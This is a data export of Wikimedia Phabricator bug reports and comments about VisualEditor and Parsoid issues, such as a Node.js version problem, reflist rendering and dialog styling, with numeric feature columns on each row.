+332561,Draw VisualEditor's non-CE block highlights using SVG polygons,This is not high priority,,,1416846552,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+234397,Draw VisualEditor's non-CE block highlights using SVG polygons,We are now using getBoundingClientRect and getClientRects. The only part missing from this bug is to use SVG. We should investigate the performance benefits/losses of doing so.,,,1408985768,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,60,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+234392,Draw VisualEditor's non-CE block highlights using SVG polygons,"@Trevor: Thanks for writing it down. I'm pretty excited about working on it. Btw. in the meantime, I'm working on shields/phantoms performance optimization here: https://gerrit.wikimedia.org/r/#/c/72113/",,,1373580320,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0
+53179,Re-enable user preference to disable VisualEditor,"The user preference for disabling VisualEditor has gone missing. It should be restored.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1373556900,1373557556.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-f6islnvgxyd3d63sxooo,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+233349,Re-enable user preference to disable VisualEditor,"
+
+*** This bug has been marked as a duplicate of bug 50929 ***",,,1373557556,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-f6islnvgxyd3d63sxooo,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+233344,Re-enable user preference to disable VisualEditor,"The user preference should appear under the ""Editing"" tab at [[Special:Preferences]], where editors naturally expect to find it.",,,1373557227,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-f6islnvgxyd3d63sxooo,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+53151,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,"**Author:** `stephdechine`
+
+**Description:**
+I have just installed Parsoid for my private MediaWiki. However when I try to use VisualEditor, I got parsoidserver-http-bad-status: 500. Then I had checked localhost:8000, and that page displays correctly, but http://localhost:8000/en/Main_Page does not work as expected, and some error messages are thrown out.
+
+ TypeError: Cannot set property '0' of null
+    at Object.WikiConfig (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/lib/mediawiki.WikiConfig.js:52:29)
+    at Function.MWParserEnvironment.getParserEnv (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/lib/mediawiki.parser.environment.js:268:16)
+    at getParserServiceEnv (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/api/ParserService.js:365:22)
+    at app.post.oldid (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/api/ParserService.js:629:2)
+    at callbacks (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:272:11)
+    at param (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:246:11)
+    at pass (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:253:5)
+    at Router._dispatch (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:280:5)
+    at Object.Router.middleware [as handle] (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:45:10)
+    at next (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/node_modules/connect/lib/http.js:204:15)
+
+My OS is Gentoo Linux with everything up-to-date.
+
+I fetched the Parsoid extension by using git.
+
+I have once tried to install nodejs by compiling the source code, but failed due to ""Syntax error"" when running ./configure . Then I had checked my OS repo, and found out that there is only net-libs/nodejs with no npm. I installed that.
+
+net-libs/nodejs Installed versions:  0.10.8^t(19:04:51 07/10/13)
+(masked by default, I unmasked that.)
+
+And the remaining installation process are with no error.
+
+I copied the api/localsettings.js.example to api/localsettings.js and changed the localhost to the IP address. Debug options is uncommented. Others remain the same.
+
+That is all I have done to the whole Parsoid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC",Medium,50.0,1373507520,1373610519.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-l5pjiw32hngnewgrmmmy,task_description,declined,True,c1,3,False,False,True,1,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+231553,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,"**stephdechine** wrote:
+
+(In reply to comment #2)
+> I also see that you are using Node 0.10.8.  Note that currently Parsoid only
+> supports node 0.8
+> (http://www.mediawiki.org/wiki/Parsoid#Use_node.js_0.8.2C_not_0.10)
+
+Thank you for pointing out that. After I downgrade node.js to 0.8.23 everything works correctly. My fault. That works for me.",,,1373610519,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-l5pjiw32hngnewgrmmmy,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+231547,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,I also see that you are using Node 0.10.8.  Note that currently Parsoid only supports node 0.8 (http://www.mediawiki.org/wiki/Parsoid#Use_node.js_0.8.2C_not_0.10),,,1373558667,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-l5pjiw32hngnewgrmmmy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+231541,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,"Your wiki API is not reachable from the Parsoid machine. Configure it correctly in localsettings.js and verify that it is indeed reachable using wget, curl, w3m or any other tool of your choice.
+
+Example commandline:
+
+curl <yourApiURL>
+
+We should probably print this information when the config request fails. Repurposing this bug for that.",,,1373556483,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-l5pjiw32hngnewgrmmmy,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+53148,VisualEditor: Newline migration issue,"As discovered in bug 50120, we need to find out what this is and fix it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373503560,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ki7bzkbyld2qdm75nyap,task_description,open,True,c1,3,True,False,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+512010,VisualEditor: Newline migration issue,"@Jdforrester-WMF, can we close this? T52120 has been resolved.",,,1440107033,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ki7bzkbyld2qdm75nyap,task_subcomment,,True,c1,3,True,,,111,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0
+496798,VisualEditor: Newline migration issue,"@Jdforrester-WMF, can we close this? T52120 has been resolved.",,,1437781492,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-ki7bzkbyld2qdm75nyap,task_subcomment,,True,c1,3,True,,,107,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0
+53146,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit","From English Wikipedia:
+
+I've not yet done a lot with refs and reflists (a lot of my work is stub-sorting where it rarely crops up) but.... 
+
+Editing Howard Wilson Elementary School I changed the number of columns of {{reflist}} from 2 to 1 (there's only one ref and it looks daft over 2 cols). The whole reflist disappeared, while I stayed in VE - see edit summary. On saving the page, it was there all present and correct.
+
+This is one of several instances where VE alarms the editor: if it's supposed to be a Visual Editor, it needs to reflect changes made and not give the impression that the template has been deleted. Worrying enough for an experienced editor - totally offputting for someone new.
+
+Apologies if this exact problem, or a more generalised case, is already tracked. PamD 16:38, 9 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373500740,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-nphxjkvvi4eszdxix7bq,task_description,open,True,c1,3,False,False,,1,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+489986,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",">>! In T53146#1442033, @Esanders wrote:
+> Where is the bug to move all the functionality over to the <references> tag making {{reflist}} redundant?
+
+https://phabricator.wikimedia.org/maniphest/query/7.xI5WLmYTc1/#R pffers some tasks about //specific// (not: //all//) functionality...",,,1436532828,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,105,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,1
+489448,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",Where is the bug to move all the functionality over to the <references> tag making {{reflist}} redundant?,,,1436461261,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,105,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1
+231122,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit","(In reply to James Forrester from comment #2)
+> This will be fixed when we switch over to Parsoid rendering the templates
+> mid-edit rather than rely on PHP parser.
+
+As follow-up, right now we don't have a way to give context to Parsoid, so when parsing a template that generates part of a wider structure – e.g. a cell, row or section of a table – we just give the template itself, contextless.
+
+This means that Parsoid (correctly) returns a fostered-out block, which we (correctly) splice into the location, meaning the document looks very odd. However, it saves fine.
+
+In the future we'd need a way to tell Parsoid that ""this is an update to transclusion id=1234 in structure id=4321"" or something so Parsoid has context; I assume this will need to wait until Parsoid puts GUIDs into the source for us.",,,1405353588,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,54,,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+231112,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",*** Bug 67856 has been marked as a duplicate of this bug. ***,,,1405107160,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,53,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231103,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",This will be fixed when we switch over to Parsoid rendering the templates mid-edit rather than rely on PHP parser.,,,1374270748,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+231094,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",Confirmed. This one's especially annoying given how common {{reflist}} is. See also bug 50075 (which I was no longer able to reproduce).,,,1373774352,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+53141,VisualEditor: Nicer removal of Cite.php's class=error,"Currently this is really ugly; Trevor's better class will help, but in general we want to do this better.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373497500,1645470453.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_description,resolved,True,c1,3,True,False,False,1,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+1868378,VisualEditor: Nicer removal of Cite.php's class=error,"Change 763101 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Cite@master] Remove hack that hides ref errors unnecessarily%%%
+https://gerrit.wikimedia.org/r/763101",,,1645468531,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,False,,,451,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+1865304,VisualEditor: Nicer removal of Cite.php's class=error,"Change 763101 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/extensions/Cite@master] Remove hack that hides ref errors unnecessarily%%%
+https://gerrit.wikimedia.org/r/763101",,,1644991783,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,False,,,450,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+255328,VisualEditor: Nicer removal of Cite.php's class=error,"(In reply to James Forrester from comment #3)
+> Sorry!
+> 
+> This refers to the hacky fix for bug 50423 which added (eventually):
+> 
+>   /* HACK: Hide Ref errors in templates */
+>   .mw-ext-cite-error {
+> 	display: none;
+>   }
+> 
+> … to ve.ce.MWReferenceNode.css
+> 
+> This bug is asking for a way for these errors to not be shown that doesn't
+> just suppress the conent (they're caused by the templates rendering out of
+> context).
+
+I guess we could send some 'nocontext' parameter in the HTTP request which would suppress errors based on missing information... Sounds like it would be even worse than the current solution though.",,,1410824403,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,63,,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+255318,VisualEditor: Nicer removal of Cite.php's class=error,"Sorry!
+
+This refers to the hacky fix for bug 50423 which added (eventually):
+
+  /* HACK: Hide Ref errors in templates */
+  .mw-ext-cite-error {
+	display: none;
+  }
+
+… to ve.ce.MWReferenceNode.css
+
+This bug is asking for a way for these errors to not be shown that doesn't just suppress the conent (they're caused by the templates rendering out of context).",,,1410216270,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,62,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+255308,VisualEditor: Nicer removal of Cite.php's class=error,Hello?,,,1410125027,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,61,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+255299,VisualEditor: Nicer removal of Cite.php's class=error,So what is this about? There's a lot of missing context here.,,,1406238141,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,55,,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0
+53133,"VisualEditor: Red ""remove xyz"" button may not be ideal styling in dialogs","An English Wikipedia user writes to note that since red is the color of a missing link, it may not be an ideal choice for ""remove template""
+
+I myself wonder if it might not show up as pale grey (hence suggesting it will not work) to the color blind.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373485620,1393632765.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-7brx7poui3lgaqmgzlvg,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+254853,"VisualEditor: Red ""remove xyz"" button may not be ideal styling in dialogs","We now use a rubbish bin (""trash can"") icon which is a lot softer.",,,1393632765,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7brx7poui3lgaqmgzlvg,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,0
+254846,"VisualEditor: Red ""remove xyz"" button may not be ideal styling in dialogs","Note that this is in-line with the Design department's upcoming changes to the skins - it's a wider question. However, we should indeed flag this issue, I agree.",,,1373855846,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7brx7poui3lgaqmgzlvg,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+53116,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","A user suggests that, in addition to the ""cancel"" option next to the ""save"" button, there should be an option to ""cancel"" from within the save box.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373473020,1400626382.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-xxykpaxkkgrcn363ntny,task_description,declined,True,c1,3,False,False,False,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+254098,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor",I have.,,,1400626382,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,True,,,46,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+254091,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Hmm... Yes, after thinking about this some more, I agree. Who wants to mark this wontfix?",,,1400188965,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,True,,,45,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,0,1,1,0,0
+254085,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Agree with Trevor, also on basic grounds of minimizing clutter; we should only add this if there's user testing that shows users don't know how to cancel their edits.",,,1400188662,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+254078,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","It's really cool that Alex has added a patch, but I feel pretty confident this is a mistake. If you open a dialog and then hit cancel, you are going to believe it will close the dialog without taking action. This is a reasonable sounding request, but we really need to say no to this.
+
